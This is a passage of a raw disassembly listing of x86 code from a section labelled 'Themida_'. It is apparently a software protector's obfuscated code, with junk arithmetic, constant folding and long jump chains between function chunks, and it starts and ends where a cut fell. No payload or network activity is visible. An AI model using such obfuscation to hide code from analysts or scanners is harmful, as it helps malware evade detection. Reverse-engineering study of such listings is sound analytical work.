		neg	eax
		xor	eax, 906BD1F3h
		mov	edi, eax
		pop	eax
		add	ecx, edi
		jmp	loc_55C8E8
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_559C44:				; CODE XREF: Themida_:0055597Ej
		shr	ebx, 6
		neg	ebx
		dec	ebx
		xor	ebx, 0AEC6B31Eh
		jmp	loc_555393
; ---------------------------------------------------------------------------


loc_559C55:				; CODE XREF: Themida_:0055706Fj
		mov	edx, 4A23B3Ah
		mov	ebx, edx
		mov	edx, [esp]
		push	ebp
		jmp	loc_55D6A9
; ---------------------------------------------------------------------------


loc_559C65:				; CODE XREF: Themida_:0055A3C1j
		add	esi, edx
		pop	edx
		add	esi, edx
		sub	esi, 7F55430Bh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_55B6F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_559C7D:				; CODE XREF: sub_554E9D-30DDj
		mov	[esp-4+arg_0], esi
		mov	esi, 10h
		and	ebx, esi
		pop	esi
		or	ebx, ebx
		jnz	loc_556975
		push	4E1Eh
		mov	[esp-4+arg_0], edx
		jmp	loc_55D456
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_559C9D:				; CODE XREF: sub_55A0D6-B26j
		push	[esp+8+var_8]
		jmp	loc_55BC39
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_559CA5:				; CODE XREF: sub_55D0F3-11F5j
		push	ecx
		push	7669h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 353A5AA4h
		push	eax
		mov	eax, 59B17538h
		sub	eax, 8EEBCFD8h
		add	edx, eax
		pop	eax
		jmp	loc_559E31
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_559CD8:				; CODE XREF: sub_554085+8B53j
		mov	[esp-0Ah+arg_4+2], ebx
		mov	bh, 7Fh
		jmp	loc_55631A
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_559CE2:				; CODE XREF: sub_552850+94DFj
		mov	edi, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		push	ecx
		mov	ecx, 6C6C50E9h
		jmp	loc_553AA8
; END OF FUNCTION CHUNK	FOR sub_552850

; =============== S U B	R O U T	I N E =======================================



sub_559CF7	proc near		; DATA XREF: Themida_:005513BCo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005545CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555BB5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00557349 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B3DE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055D18E SIZE 00000014 BYTES

		mov	ax, [esp+0]
		jmp	loc_55B3DE
sub_559CF7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_559D00:				; CODE XREF: sub_55AE3A-6A8Aj
		mov	dl, 11h
		mov	ch, 0F3h
		sub	ch, dl
		pop	edx
		sub	ch, 1
		xor	ch, 0ACh
		add	dh, ch
		pop	ecx
		add	dh, 32h
		add	dh, ah
		sub	dh, 32h
		jmp	loc_557208
; END OF FUNCTION CHUNK	FOR sub_55AE3A

; =============== S U B	R O U T	I N E =======================================



sub_559D1D	proc near		; DATA XREF: Themida_:005513C0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551A18 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552A87 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005531AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055494A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005562F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00557AF2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557B01 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055D52F SIZE 00000010 BYTES

		mov	eax, [esp+0]
		push	72F5h
		jmp	loc_5562F6
sub_559D1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553EEA


loc_559D2A:				; CODE XREF: sub_553EEA-BBEj
		mov	eax, 2
		add	esi, eax
		pop	eax
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5582C2
; END OF FUNCTION CHUNK	FOR sub_553EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_559D3D:				; CODE XREF: sub_55326E+713Dj
		mov	[esp-24h+arg_20], ebp
		mov	ebp, 327900DEh
		xor	ebp, 327900DAh
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp-28h+arg_24]
		jmp	loc_552CE7
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	ecx
		push	2BFEh
		mov	[esp], esp
		jmp	loc_5547E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554628


loc_559D6E:				; CODE XREF: sub_554628+1ECAj
		mov	[esp+8+var_8], ebp
		mov	ebp, 1CFC06DCh
		push	eax
		mov	eax, 23AA0E78h
		jmp	loc_559949
; END OF FUNCTION CHUNK	FOR sub_554628
; ---------------------------------------------------------------------------


loc_559D81:				; CODE XREF: Themida_:005574C5j
		xchg	ebx, [esp]
		jmp	loc_55C8FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_559D89:				; CODE XREF: sub_55802B+46F9j
		shr	edx, 4
		sub	edx, 0FFFFFFFFh
		neg	edx
		push	ecx
		mov	ecx, 207A3039h
		neg	ecx
		and	ecx, 1DCD0EDBh
		inc	ecx
		shl	ecx, 8
		add	ecx, 3AA73BBAh
		add	ecx, 573A5499h
		xor	edx, ecx
		pop	ecx
		jmp	loc_553E16
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559DBA:				; CODE XREF: sub_55ABF6-73D1j
		pop	ebp
		inc	ebp
		sub	ebp, 503E58FCh
		jmp	loc_55233B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559DC7:				; CODE XREF: Themida_:0055CF56j
		mov	edi, 5A8B79E8h
		xor	edi, 78C27BBAh
		jmp	loc_554607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_559DD7:				; CODE XREF: sub_55C58B-396Aj
		add	edx, eax
		pop	eax
		jmp	loc_55BAF5
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_559DDF:				; CODE XREF: sub_559249-2B72j
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, esp
		jmp	loc_552D55
; END OF FUNCTION CHUNK	FOR sub_559249

; =============== S U B	R O U T	I N E =======================================



sub_559DEB	proc near		; DATA XREF: Themida_:00551234o
		mov	ax, [esp+0]
		jmp	sub_553571
sub_559DEB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_559DF4:				; CODE XREF: sub_556BCD-5212j
		xchg	ch, dh
		not	ch
		xor	dh, ch
		xor	ch, dh
		xor	dh, ch
		mov	al, dh
		pop	dx
		shr	al, 6
		xor	al, 0FBh
		mov	dh, al
		pop	eax
		xor	al, dh
		pop	dx
		push	ecx
		jmp	loc_553A9F
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_559E14:				; CODE XREF: sub_55D40D-23CAj
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+0]
		jmp	loc_55D8AF
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------


loc_559E1F:				; CODE XREF: Themida_:00555BD0j
		mov	dh, 2Eh
		shr	dh, 1
		not	dh
		jmp	loc_55BF0B
; ---------------------------------------------------------------------------


loc_559E2A:				; CODE XREF: Themida_:0055566Bj
		push	edi
		push	ebx
		jmp	loc_5534CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_559E31:				; CODE XREF: sub_55D0F3-3420j
		mov	eax, edx
		pop	edx
		add	ecx, eax
		jmp	loc_55D6BD
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_559E3B:				; CODE XREF: sub_554592+64F6j
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		xor	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_556002
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_559E4B:				; CODE XREF: sub_551F97-818j
		mov	dx, [esp+2+var_2]
		add	esp, 2
		jmp	loc_55B7F6
; END OF FUNCTION CHUNK	FOR sub_551F97

; =============== S U B	R O U T	I N E =======================================



sub_559E57	proc near		; DATA XREF: Themida_:00551404o

var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2

; FUNCTION CHUNK AT 00552C36 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553213 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005540B8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055C47E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055CCF1 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055DA18 SIZE 0000000F BYTES

		push	cx
		jmp	loc_553213
sub_559E57	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_559E5E:				; CODE XREF: sub_55D40D-2FA2j
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 1B133508h
		add	edx, 403E201Dh
		add	edx, ebp
		sub	edx, 403E201Dh
		pop	ebp
		or	edx, 71D70912h
		xor	edx, 0F3F7CF1Ah
		add	eax, edx
		jmp	loc_555425
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_559E88:				; CODE XREF: sub_555A6F-157Aj
		sub	edx, 432A04C7h
		add	edx, 45E13E73h
		pop	ebx
		sub	edx, 241432Bh
		add	edx, 46FF2A95h
		add	edx, ebx
		jmp	loc_55BAE2
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_559EA8:				; CODE XREF: sub_55B62C-48C7j
		add	ebp, 46496282h
		sub	eax, ebp
		pop	ebp
		or	esi, eax
		pop	eax
		inc	esi
		inc	esi
		and	esi, 947983h
		jmp	loc_55A311
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_559EC1:				; CODE XREF: Themida_:00557FB5j
		mov	ebp, 52202B7h
		add	ebp, 0FADDFD4Dh
		mov	eax, ebp
		push	dword ptr [esp]
		jmp	loc_555F20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_559ED6:				; CODE XREF: sub_556901-1B81j
		neg	eax
		neg	eax
		neg	eax
		jmp	loc_55196F
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------


loc_559EE1:				; CODE XREF: Themida_:00559052j
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	esi
		mov	esi, 2
		sub	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5582B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_559F05:				; CODE XREF: sub_55D9AA-1B70j
		push	ecx
		jmp	loc_55A139
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_559F0B:				; CODE XREF: sub_5545BE+3E03j
		or	bh, al
		pop	eax
		or	bh, 0CCh
		shl	bh, 1
		not	bh
		jmp	loc_55CEE7
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------


loc_559F1A:				; CODE XREF: Themida_:0055AFAFj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_554B70
; ---------------------------------------------------------------------------


loc_559F29:				; CODE XREF: Themida_:00557DF1j
		pop	ecx
		add	ecx, 4
		jmp	loc_55CAEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_559F35:				; CODE XREF: sub_55AE3A-63D5j
		add	al, 98h
		jmp	loc_551713
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_559F3C:				; CODE XREF: sub_557D5E+134Cj
		push	edx
		mov	edx, 0FFFFFFFFh
		add	edi, edx
		pop	edx
		push	3C25h
		jmp	loc_555E4C
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_559F4F:				; CODE XREF: sub_552BA6+A396j
		mov	[esp+8+var_8], esi
		pop	eax
		jmp	loc_557137
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_559F58:				; CODE XREF: sub_554592+8097j
		pop	esi
		xor	esi, 0EF098A11h
		jmp	loc_55DE7A
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_559F64:				; CODE XREF: Themida_:0055770Cj
		add	ebx, eax
		jmp	loc_552FE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_559F6B:				; CODE XREF: sub_552215+75Cj
		push	esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		sub	ecx, 69744125h
		jmp	sub_552E01
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 0CFAFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D3E1


loc_559F8E:				; CODE XREF: sub_55D3E1+1Ej
		mov	[esp+0], ecx
		mov	cl, dl
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_55CB16
; END OF FUNCTION CHUNK	FOR sub_55D3E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_559F9E:				; CODE XREF: sub_557D5E+100Bj
		add	eax, 207614C0h
		add	eax, 65074C63h
		pop	ecx
		add	eax, edi
		sub	eax, 71F760E0h
		pop	edi
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 7B732406h
		jmp	loc_551BE0
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_559FC4:				; CODE XREF: sub_55CE17-9B54j
		xor	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_55BBE5
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_559FCF:				; CODE XREF: sub_55BB30-7AE4j
		add	esp, 4
		push	ecx
		not	[esp+0Ch+var_C]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_55C9BC
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_559FE1:				; CODE XREF: sub_55802B-609j
		push	5775h
		mov	[esp-4+arg_0], eax
		jmp	loc_55ACB3
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_559FEE:				; CODE XREF: sub_55D40D-3F87j
		add	ebp, eax
		pop	eax
		pop	eax
		jmp	loc_55B03D
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_559FF7:				; CODE XREF: sub_55CFFC-34FDj
		add	ebp, 15E043F2h
		jmp	loc_5545C9
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		push	662E7F78h
		jmp	loc_55243B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_55A00E:				; CODE XREF: sub_552850+2614j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		sub	[esp+0], eax
		jmp	sub_5524B2
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------


loc_55A020:				; CODE XREF: Themida_:0055DC68j
		add	ebx, 11730120h
		add	ebx, edi
		sub	ebx, 11730120h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55963F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55BFB2
; ---------------------------------------------------------------------------


loc_55A04E:				; CODE XREF: Themida_:005577F3j
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	eax
		jmp	loc_55B1CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A067:				; CODE XREF: sub_55ABF6-4AFEj
		add	eax, 4
		add	eax, 4
		jmp	loc_555328
; ---------------------------------------------------------------------------


loc_55A074:				; CODE XREF: sub_55ABF6-721j
		sub	ebx, 977928h
		add	ebx, 7DD03AC1h
		jmp	loc_55B873
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55A085:				; CODE XREF: sub_55C814-6CE1j
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 1ED22691h
		xor	eax, ebp
		pop	ebp
		push	edi
		push	esp
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_55471C
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A09B:				; CODE XREF: sub_55ABF6+BC2j
		xor	edi, ecx
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		push	eax
		mov	eax, 0
		sub	eax, edi
		push	eax
		pop	edi
		pop	eax
		shr	edi, 3
		sub	esp, 4
		jmp	loc_55845D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55A0BC:				; CODE XREF: sub_55CE17-76CCj
		push	esi
		jmp	loc_555E21
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_55A0C2:				; CODE XREF: Themida_:0055D1F7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	ecx
		jmp	loc_55205D

; =============== S U B	R O U T	I N E =======================================



sub_55A0D6	proc near		; DATA XREF: Themida_:005513A0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551EEE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055363C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553E67 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055434E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055485C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055645A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00556A01 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00556D72 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00557663 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00557885 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00558041 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055919E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00559599 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00559C9D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A81D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055B77C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055BC39 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055C448 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055CD8B SIZE 00000040 BYTES

		mov	cx, [esp+0]
		push	edx
		sub	esp, 4
		push	esp
		jmp	loc_55485C
sub_55A0D6	endp

; ---------------------------------------------------------------------------


loc_55A0E4:				; CODE XREF: Themida_:0055A807j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_551E27
; ---------------------------------------------------------------------------


loc_55A107:				; CODE XREF: Themida_:00557F60j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 9682D18h
		add	edx, 0FFFFFFFFh
		add	edx, 27616B4Eh
		push	edi
		jmp	loc_551571
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55A121:				; CODE XREF: sub_552215+9F31j
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp+8+var_8]
		pop	esp
		jmp	loc_55DCB5
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_55A139:				; CODE XREF: sub_55D9AA-3AA4j
		push	esi
		mov	esi, esp
		jmp	loc_55BEE6
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------


loc_55A141:				; CODE XREF: Themida_:00557424j
		add	edx, esi
		pop	esi
		sub	ecx, edx
		jmp	loc_552BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55A14B:				; CODE XREF: sub_55D40D-4A76j
		push	edx
		mov	edx, 57741263h
		not	edx
		xor	edx, 702A7F88h
		jmp	loc_55A466
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A15E:				; CODE XREF: sub_55ABF6-8C7Bj
		add	esp, 4
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55A167	proc near		; CODE XREF: sub_55ABF6-951Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055C544 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	ebx
		sub	[esp+8+var_8], 66362E16h
		jmp	loc_55C544
sub_55A167	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558854


loc_55A17A:				; CODE XREF: sub_558854+6j
		push	esi
		push	657936DAh
		pop	esi
		push	esi
		neg	[esp+0Ch+var_C]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 2C004AC8h
		neg	esi
		sub	esi, 1D32206Dh
		jmp	loc_559985
; END OF FUNCTION CHUNK	FOR sub_558854
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558B68


loc_55A1A1:				; CODE XREF: sub_558B68+7j
		pop	ecx
		jmp	loc_553FC2
; END OF FUNCTION CHUNK	FOR sub_558B68

; =============== S U B	R O U T	I N E =======================================



sub_55A1A7	proc near		; DATA XREF: Themida_:0055139Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00555655 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005568F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00557E24 SIZE 0000000C BYTES

		lodsb
		xor	al, bl
		push	3B15h
		jmp	loc_555655
sub_55A1A7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55A1B4:				; CODE XREF: sub_55A4DA-19AFj
		push	ecx
		push	edx
		mov	edx, 32AC662Dh
		jmp	loc_552331
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55A1C0:				; CODE XREF: Themida_:00557258j
		add	esp, 4
		pop	esi
		add	[esp+4], ebx
		jmp	loc_551E52
; ---------------------------------------------------------------------------


loc_55A1CD:				; CODE XREF: Themida_:00555C0Cj
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556B0D


loc_55A1DD:				; CODE XREF: sub_556B0D+15j
		add	edi, 30FE45B7h
		add	edi, eax
		sub	edi, 30FE45B7h
		jmp	loc_551632
; END OF FUNCTION CHUNK	FOR sub_556B0D
; ---------------------------------------------------------------------------


loc_55A1F0:				; CODE XREF: Themida_:005555D9j
		mov	ebp, 0
		push	ebp
		sub	dword ptr [esp], 6582075Eh
		pop	eax
		add	eax, 6582075Eh
		pop	ebp
		add	eax, ecx
		push	0DACh
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], dh
		pop	ebx
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3A1B6506h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555CD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55A244:				; CODE XREF: sub_55C1DB-3D83j
		sub	eax, edi
		jmp	loc_55BA3F
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_55A24B:				; CODE XREF: sub_559977+44CBj
		mov	di, bp
		mov	cx, di
		mov	edi, [esp+8+var_8]
		add	esp, 4
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	ax, cx
		mov	cx, [esp+0]
		jmp	loc_5528E0
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55A26F:				; CODE XREF: sub_554592+1DB1j
		not	ecx
		xchg	eax, ecx
		not	eax
		jmp	loc_552992
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_55A279:				; CODE XREF: Themida_:0055CFBFj
		shl	ebx, 1
		xor	ebx, 6DE2BEFFh
		sub	eax, 119A0D95h
		push	ebx
		mov	ebx, 3C483CCCh
		jmp	loc_555A2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BEDA


loc_55A291:				; CODE XREF: sub_55BEDA+7j
		neg	ebx
		or	ebx, 3E5A7673h
		add	ebx, 800809h
		jmp	loc_5541E9
; END OF FUNCTION CHUNK	FOR sub_55BEDA
; ---------------------------------------------------------------------------


loc_55A2A4:				; CODE XREF: Themida_:0055C7F7j
		push	7AEEh
		mov	[esp], ebx
		push	esi
		mov	esi, 17610185h
		push	edi
		mov	edi, esi
		mov	ebx, edi
		jmp	loc_551F90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F80


loc_55A2BC:				; CODE XREF: sub_551F80+26DDj
		mov	edi, 0E9F308Bh
		add	edx, edi
		pop	edi
		mov	ecx, [esp+4+var_4]
		jmp	loc_55813E
; END OF FUNCTION CHUNK	FOR sub_551F80
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55885F
; ---------------------------------------------------------------------------


loc_55A2D7:				; CODE XREF: Themida_:00558C5Ej
		sub	ebx, ecx
		jmp	loc_553EC3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		jmp	loc_55C7D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556E4D


loc_55A2EA:				; CODE XREF: sub_556E4D+1D69j
		ror	byte ptr [esp+0], cl
		pushf
		jmp	loc_55A653
; END OF FUNCTION CHUNK	FOR sub_556E4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_55A2F3:				; CODE XREF: sub_552B28+4EE1j
		pop	bx
		sub	al, bl
		add	al, 16h
		add	al, 0B9h
		push	4837h
		mov	[esp+4+var_4], ecx
		mov	cl, 39h
		add	al, cl
		pop	ecx
		push	ecx
		sub	esp, 4
		jmp	loc_552BC5
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_55A311:				; CODE XREF: sub_55B62C-1770j
